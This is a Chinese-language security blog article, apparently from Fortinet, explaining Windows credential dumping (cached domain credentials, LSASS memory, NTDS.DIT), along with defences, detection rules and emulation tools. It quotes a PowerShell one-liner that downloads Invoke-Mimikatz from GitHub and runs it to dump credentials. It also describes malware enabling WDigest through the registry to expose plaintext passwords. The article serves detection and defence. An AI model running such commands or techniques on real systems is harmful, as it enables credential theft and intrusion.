简介
在这篇文章中,我们将介绍Windows凭据的巧妙用处。具体而言,我们将重点介绍一种名为“操作系统凭据转储”的技术。本质上,如果威胁已经在我们的环境中实现了横向移动,那么其背后的威胁执行者很有可能已经执行了某种类型的凭据转储,以允许它们在系统之间跳转。因此,掌握如何检测并防范这类技术就显得至关重要。
如果大家熟悉MITRE ATT&CK框架,可能会产生疑问:“这类攻击技术的名称实际上应该叫做凭据转储?”确实是这样的,但由于该类别中记录的技术数量仍然在不断增加,MITRE决定将所有知识库都分解为子技术。现在,我们仍然可以在“凭据访问”的页面中找到该特定技术,但是目前已经更新了其包含的八项子技术。我们并不会在这篇文章中涉及到所有这些内容,而是将重点关注与Windows相关的三个技术。
关于Windows凭据
Windows操作系统会在许多不同的位置上存储或缓存其凭据。下面是其存储的某些Windows凭据类型,以及可以找到这些凭据的位置:
1、安全帐户管理器(SAM)数据库
SAM数据库是所有Windows系统上都存在的文件。该文件包含所有创建的帐户,以及在Windows操作系统(XP、Vista、Win7、Win8.1、Win10)上存在的所有内置帐户。在这里,密码是以哈希值(NT密码哈希)形式存储的。
2、其他文件
我们也可以在各种文件中找到密码,其中包括配置文件和用户创建的文件(通常为纯文本)。某些日志文件可能包含凭据信息,例如安装程序日志,有时还可以在崩溃报告中找到它们。
3、缓存的凭据
域凭据被存储在注册表中,以允许用户在未连接到域时能够登录其系统。Windows系统会缓存最后10个登录哈希,默认情况下一些位置最多可以存储25个。这个数字可以在注册表中配置。
4、本地安全授权机构(LSA)
LSA Secrets存储在注册表中,并允许服务以用户权限运行。这些服务包括VPN、计划任务、自动登录、备份服务器帐户、IIS网站等。它们以加密的形式保存在“Security/Policy/Secrets”注册表中。
5、本地安全机构子系统服务进程(LSASS)
在本地或域中登录Windows计算机时,凭据将会存储在LSASS进程的内存中。这主要是用于允许用户访问其有权访问的网络上的其他资源,而不必再重新进行身份验证。存储的格式可以是纯文本、NT和LM哈希以及Kerberos Ticket。
6、凭据存储管理器
该管理器适用于Windows 7和更高版本。它基本上是一个数字保险库,让用户可以“安全地”存储用户凭据。所有凭据都存储在Windows系统的特定文件夹中。Windows和Web凭据都可以存储在这里。
7、活动目录域数据库(NTDS.DIT)
该数据库存储位于活动目录域环境中的每个活动目录域控制器服务器上的用户和计算机的所有凭据,即%SystemRoot%\NTDS文件夹。
操作系统凭据转储的攻击技术
如我们所见,Windows操作系统会将凭据存储在各种位置,并且以各种格式进行存储,这就导致攻击者在入侵凭据时可以选择多种方式。
正如我们之前所提到的,凭据转储攻击通常是攻击者所使用一系列技术中的第一种技术,目的是让威胁行为者能够在环境中横向移动。一旦获得了正确的访问权限,攻击者就可以找到如何将恶意Payload复制到系统的方式,并找到远程执行该Payload的方法。随后,攻击者将致力于重复相同的步骤,以感染更多的主机。这可能会是一个人工的过程,但大多数情况下攻击者都会选择自动化的实现方式。
之所以要特别提及这一点,是因为如果我们在实际应急过程中发现了本文讨论的任何凭据转储技术,那么就非常有必要在接下来的两个横向移动步骤中寻找其他证据。
其中的一种方式是查看日志,查看是否有Psexec.exe和Psexesvc.exe被用于远程复制和执行恶意软件的迹象。Psexec时Microsoft Sysinternals工具,用于在其他系统上复制和执行进程或文件,这个工具对于远程管理来说非常有用。威胁参与者还会利用该工具,通过SMB恶意软件将其复制到远程系统功能并执行。我之所以重点强调psexecsvc.exe文件的原因在于,当psexec.exe运行时,它会将psexecsvc.exe文件复制到远程系统,然后将其作为服务启动。需要注意的是,当我们在寻找该活动时,可以重点关注发送恶意文件的主机使用psexec.exe且接收并执行恶意文件的主机使用psexecsvc.exe的情况,这是一个比较典型的特征。
如果大家想要了解有关横向移动三个步骤的更多信息,请阅读2018年的《Thrip ATP攻击更新》文章。现在,我们将目光重新聚焦到凭据转储技术上来。
使用PsExec命令复制和执行文件:
根据MITRE ATT&CK知识库,存在8种不同的操作系统凭据转储技术。但是,由于本文的篇幅所限,我们将仅讨论与Windows相关的三种技术。
攻击技术1:缓存域凭据
正如前面所提到过的,Windows操作系统在配置为登录到活动目录(AD)域时,系统会最多可以存储最后25个登录凭据(取决于操作系统版本,默认配置可以进行调整),因此在无法连接到AD域时,我们仍然可以登录。值得关注的是,这些缓存的凭据在重启之后不会消失。这些凭据是持久性的,它们以Mscach2格式存储在注册表(HKLM\Security hive)中。
我们可以使用多种工具从注册表中提取缓存的凭据,例如cachedump、Metasploit、PWDumpx和creddump。如果攻击者成功转储了缓存的凭据,接下来他们需要使用密码破解工具(例如预先计算的彩虹表,或者John Ripper)对哈希值进行暴力破解,以获取到真实密码,这也是登录到另一个系统所必须的。最后,如果要提取缓存的域凭据,攻击者还需要具有SYSTEM权限。
攻击技术2:LSASS内存
由于例如NT/LM和Kerberos Tickets之类的哈希凭据都存储在内存中,也就是LSASS进程中,因此具有相应级别访问权限(Administrative)的威胁行为者可以使用各类免费提供的工具来转储哈希值,这些工具包括Mimikatz和Windows凭据编辑器。
在内存中,也有可能很容易地找到TsPkg、WDigest和LiveSSP。这些可以很容易地进行解密,从而得到纯文本密码。我们可以在这里找到更多信息。
与缓存的域凭据不同,一旦用户注销登录后,内存中的哈希值将不再存在。在某些情况下,由于应用程序或进程仍然在使用哈希值,因此用户注销登录后哈希值可能会仍然可用。但是,在大多数情况下,攻击者必须在用户已经登录的情况下才能窃取其凭据。因此,这提醒我们在日常使用计算机时不应该以管理员(特别是域管理员)身份登录。如果在域管理员登录期间攻击者成功实现了攻击,那么攻击者将能够获得指向整个域的密钥。
此外,这些转储的哈希可以用于在无需暴力破解的情况下验证另一个系统的纯文本密码,这种技术被称为“哈希传递”。这种类型的攻击仅适用于NTLM身份验证,但是目前的很多现代系统中都有可用的NTLM身份验证方式。我们将在后文的视频中,演示如何复现“哈希传递”技术。
攻击技术3:NTDS
当攻击者在环境中建立初始立足点时,他们通常会寻找具有域控制器(DC)角色的服务器。这是因为,每个DC上存在NTDS.DIT文件包含所有用户和计算机帐户的哈希值。如果攻击者掌握了这些信息,他们将可以自由控制AD域之中的所有资源。
数据库中包含的哈希值为NT格式,但也可能是LM格式的哈希值,具体取决于所使用系统的版本。此外,NTDS.DIT文件中还提供了密码历史记录。
要进行访问,攻击者需要域访问权限。这也意味着,如果攻击者成功获取了这一权限,我们就暴露在了较大的风险之中。由于文件正在使用中,因此提取凭据的过程比较困难,该文件会被锁定。随后,攻击者需要对磁盘本身的原始访问权限,这可以通过驱动程序来完成。另外,一些攻击者可以通过卷影副本来获取这一文件。
近期,勒索软件日益流行,我们可能已经接触过很多攻击者删除卷影副本的案例。FortiGuard Labs曾发表过一篇非常不错的文章,名为《Stomping Shadow Copies》,其中讨论了用于实现此目标的不同方法。但是,在我们的攻击场景中,攻击者将要提取卷影副本,或者如果发现其不存在将会创建一个卷影副本。对攻击者而言的另一个障碍是,他们还需要收集SAM和SYSTEM注册表信息,以解密NTDS数据库中的内容。
我们在这里仅仅讨论了其中的三种技术策略,但大家可以想象,基于Windows中存储凭据位置的不同,攻击者还可能会有更多用于窃取凭据的方法。
操作系统凭据转储的防御技术
除了选择一些可靠厂商的工具,我们还可以通过进行一些配置来实现上述攻击的防御。
1、限制管理员访问权限
攻击者所使用的许多技术都需要管理员或者域管理员特权才能执行。因此,我们需要确保每个用户都以普通用户的身份登录,这将有助于防御这些攻击。
2、使用唯一的本地管理员帐户密码
如果我们在所有工作站上使用相同的本地管理员帐户密码,那么攻击者只需要攻破其中一个帐户,就可以获得其他帐户的管理员访问权限。要防范这一点,可以使用唯一的本地管理员密码来进行限制,从而使攻击者难以实现横向移动。为此,可以尝试使用Microsoft的本地管理员密码解决方案(LAPS)。这是一个密码管理器,利用活动目录来管理和轮换工作站上本地管理员帐户的密码。
3、避免将高特权帐户用于远程交互式会话
当我们以交互方式登录Windows设备(控制台登录、RDP或runas)时,哈希值将会出现在内存中,特别是在服务器上。因此,需要在这一方面尽可能的加以限制。
4、使用Credential Guard
这是Windows 10中引入的一项新功能,可以通过虚拟化隔离LSASS进程。从原理上说,它是在一个虚拟容器中运行,该容器创建名为LSAIso的代理,以允许与隔离的LSASS进程进行通信。值得注意的是,即使具有管理员权限,我们也无法利用这个保护来转储凭据。这可能是针对操作系统凭据转储的最有效防御方式之一。
5、限制缓存登录帐户的数量
对于缓存的帐户,可以对存储在注册表中的登录数量进行限制。这并不是一个完美的解决方案,但确实有帮助。
6、实施严格的密码策略(长度和复杂性)
如果凭据被盗,并且需要离线解密,则密码越长越复杂,成功破解它们所花费的时间就越长。
需要注意的是,上述的所有防御措施都可以被绕过,包括Credential Guard,但在我们应用上述缓解措施之后,会使攻击者的攻击过程更加困难。
实际案例与检测
如今的威胁行为者越来越多地使用上述技术来窃取操作系统凭据。由于有很多不同的开源工具可以窃取操作系统密码,因此许多威胁参与者都会选择使用开源版本,而不再自行开发工具。下面的第一个示例来自于FortiGuard Labs发布的一篇文章,标题为《新型Trickbot插件从SQL Server、ScreenLocker模块中获取电子邮件地址》,该文章发表于2018年。Trickbot正在使用Mimikatz(一种开源工具)从内存中的LSASS进程提取密码。具体而言,它试图窃取纯文本形式的WDigest凭据。
但是,其中存在的挑战在于,自Windows 8.1发布开始,Microsoft引入了一种缓解攻击的方法,方法是创建一个可以在新注册表项中设置的开关,以防止凭据存储在内存中。
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
如果将注册表值设置为“0”,则可以禁用内存中的凭据。如果将其设置为“1”,则某些服务将依赖WDigest身份验证。为了解决这个问题,该恶意软件会确保将注册表值设置为“1”,从而启用WDigest身份验证。下图是从文章中摘录的内容。
恶意软件修改注册表设置以启用WDigest身份验证:
尽管该活动很容易执行,但是这个设置需要等到用户再次登录后才能生效。攻击者想到的解决方案是锁定屏幕并强制用户再次提供该凭据。由于限制已经将注册表值设置为“启用WDigest身份验证”,因此凭据就会存储在内存中,可以由攻击者借助Mimikatz工具来提取。下图展示了这一过程。
操作系统检查并锁定屏幕例程:
ScreenLocker模块的主要函数锁定用户的屏幕:
函数加载并执行内存中的Mimikatz库以提取凭据:
在另一个示例中,我们看到威胁参与者有时会使用后漏洞利用框架工具,该工具中包含各种开源模块,例如PowerShell Empire。尽管该开源项目已经不再维护,但仍然可以使用。FortiResponder团队此前曾经在野外看到过这种利用方式,而调用Mimikatz的PowerShell脚本可能如下所示:
- PS C:\Windows\\\\system32> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/E
- mpire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m
我们可以看到,该内容已经超出了GitHub项目中原本执行PowerShell脚本以运行Mimikatz的方法。我们的FortiEDR技术通常可以阻止该可疑进程与目标的通信,如下图所示。
FortiEDR阻止来自可疑应用程序的通信:
由于许多开源工具被恶意软件广泛使用,因此如果我们能够识别出这些免费工具并加以阻断,也会起到一定的防御作用。使用FortiEDR,我们可以在执行前和执行后进行阻断,包括对Mimikatz的使用进行阻断,如下图所示。
FortiEDR在执行前阻止Mimikatz.exe:
FortiEDR在执行后阻止Mimikatz工具:
像往常一样,我们的FortiSIEM客户还可以借助许多预定义的规则来检测操作系统凭据转储,包括使用高级Windows代理的LSASS进程篡改技术,以及检测卷影副本的可疑活动,这将帮助我们发现攻击者从NTDS.dit文件中窃取凭据的尝试。下面是LSASS规则和检测日志的示例,以及所使用的MITRE ATT&CK战术和技术的概述图。如果能有效地将技术链组合在一起,将会非常有帮助。
FortiSIEM针对LSASS进程篡改的规则:
在LSASS篡改时触发的FortiSIEM事件:
FortiSIEM MITRE ATT&CK战术视图:
我们的检测始终围绕在恶意软件使用嵌入式开源工具的事件上,如果我们怀疑可能存在操作系统凭据转储的事件,还可以在Windows事件查看器中检查一些条目。
1、查找创建的新进程 – 事件ID 4688
在这个事件记录中,查找攻击者可能会使用的各种开源工具是否存在,包括:Mimikatz、PWdumpX、Creddump、Windows Credential Editor (WCE)、Cachedump、Metasploit、NTDSXtract、Ntdsdump和Vssown。
有很多资源可以检查用于凭据转储的工具,例如:https://pentestlab.blog/tag/vssown/。
2、检查LSASS进程
对这一进程进行检查,以寻找其中是否存在可能表明试图从内存中窃取凭据的任何篡改。
3、检查Vssadmin的使用
由于Vssadmin可以用于管理卷影副本,因此可以检查该可执行文件的任何活动迹象。例如,攻击者可能创建卷影副本,并安装NTDS.DIT文件。
攻击与防御技术复现
如果要尝试模拟操作系统凭据转储技术,可能需要花费一些时间,因为有多种技术和工具可以用于实现操作系统凭据窃取。根据我们的经验,由于这些工具所使用的名称可以轻易地被攻击者修改,因此不建议将检测过程关注的重点放在工具名称上面,而是建议更加关注这类工具所产生的活动,我们要找到本质上更加倾向于静态的活动。以下我们将介绍一些可以用于攻击技术复现的模拟和开源工具。
攻击模拟工具
Atomic Red Team是一个用于测试MITRE ATT&CK技术的优秀工具,下面展示了Atomic Tests的列表。
Atomic技术测试列表:
开源防御测试工具
目前,有很多可以用来模拟操作系统凭据转储防御的开源工具。我们在上文中也提及了其中的一些工具,在这里将再次列出:
- Metasploit
- Mimikatz
- Fgdump
- Gsecdump
- PWDumpX
- Creddump
- WCE
- Cachedump
- NTDSXtract
- Ntdsdump
- VssOwn.vbs
作为一个简单的示例,我录制了下面的两个视频。第一个视频展示了如何使用名为hashdump的简单工具,这是Metasploit meterpreter中的一部分,因此我们需要借助meterpreter会话和系统特权,在复现的计算机上建立立足点。该工具将会从SAM数据库中转储信息,例如凭据哈希。而第二个视频展示了如何寻找环境中存在的其他可用系统,以及如何利用哈希传递技术利用窃取到的凭据横向移动到其他系统上。
演示视频1:https://youtu.be/FSdZ2I3au3M
演示视频2:https://youtu.be/C17S3JnCGCM
总结
在本文中,我们重点介绍了攻击者可以用于窃取操作系统凭据的一些技术。正如我在文章中所提到的,我们必须注意,得到正确的凭据往往是攻击者在环境中横向移动的必要条件。因此,为了防御此类工具,我们首先需要对安全产品进行测试,确保其可以防范或检测到可能导致进一步攻陷其他环境的任何技术。同时,如今流行的恶意软件中也嵌入了许多开源工具,因此我们也必须熟悉这些工具,以尽可能发现它们可能存在于系统中的细小迹象。
我们在这一系列的前序文章中说过,在测试每一种操作系统凭据转储技术的过程中,我们不仅需要了解该技术,还要能够复现该技术,这一点至关重要。在完成了这个步骤之后,我们需要监控我们的安全控制措施,评估是否存在任何差距,并记录所需的改进,随后再执行落地。
解决方案和缓解措施
首先,建议及时更新威胁的最新动态,为实现这一点,可以随时向咨询合作伙伴或供应商寻求帮助,以确保拥有合适的安全控制措施和安全服务,以应对最新的威胁。
用户可以部署EDR、MDR、UEBA等解决方案,从而识别这些风险,并识别相关的恶意活动。同时,也可以使用解决方案来检测网络内部的横向移动。
了解有关威胁研究、安全订阅和服务产品组合的更多信息,用户可以订阅我们每周的威胁简报。
了解有关网络安全培训计划或网络专家计划,从而加强安全能力培训和安全意识教育。